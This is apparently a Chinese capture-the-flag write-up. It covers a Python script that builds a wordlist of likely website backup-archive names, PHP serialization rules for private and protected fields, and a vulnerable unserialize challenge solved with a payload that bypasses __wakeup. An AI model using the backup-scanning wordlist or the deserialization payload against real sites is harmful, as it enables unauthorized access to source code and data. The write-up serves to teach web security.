知识点:
1、扫描网站备份文件
别人写的备份文件url生成字典脚本
import os
import os.path
import requests
from urllib.parse import unquote
suffixList = ['.rar','.zip','.tar','.tar.gz']
keyList = ['www','wwwroot','site','web','website','backup','data','mdb','WWW','新建文件夹','ceshi','databak',
'db','database','sql','bf','备份','1','2','11','111','a','123','test','admin','app','bbs','htdocs','wangzhan']
def run(url):
num1 = url.find('.')
num2 = url.find('.', num1 + 1)
keyList.append(url[num1 + 1:num2])
keyList.append(url)
keyList.append(url.replace('.', '_'))
keyList.append(url.replace('.', ''))
keyList.append(url[num1 + 1:])
keyList.append(url[num1 + 1:].replace('.', '_'))
#用法 python3 bfuzz.py www.baidu.com
url ="http://39704bbc-7195-41ac-a563-dd4bd202da9c.node3.buuoj.cn/"
run(url)
tempList = []
for key in keyList:
for suff in suffixList:
tempList.append(key + suff)
fobj = open("result.txt" , 'w')
for each in tempList:
fobj.write('%s%s' % (each,'\n'))
fobj.flush()
2、反序列化漏洞
序列化过程:将一个对象转化为字符串的过程(将会执行__sleep()
魔术方法)
反序列化:将字符串还原成对象的过程(将会执行__wakeup()
魔术方法)
private属性序列化的时候格式是 %00类名%00成员名 如%00test%00name (test->类名name->成员名)
protected属性序列化的时候格式是 %00*%00成员名 如%00*%00name (name->成员名)
原因如下:
protected声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
序列化只序列化属性,不序列化方法,因此 反序列化的时候要保证在当前的作用域环境下有该类存在,类属性就是唯一的攻击突破口
其他的魔术方法:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串时使用
题解:
御剑扫描出备份文件
分析index.php源代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
获取select参数,反序列化
class.php代码如下:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
当username = ‘admin’&password=100时,就能得到flag
反序列化时select参数时,必须绕过__wakeup(),否则,username将会变成guest
构造payload
select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}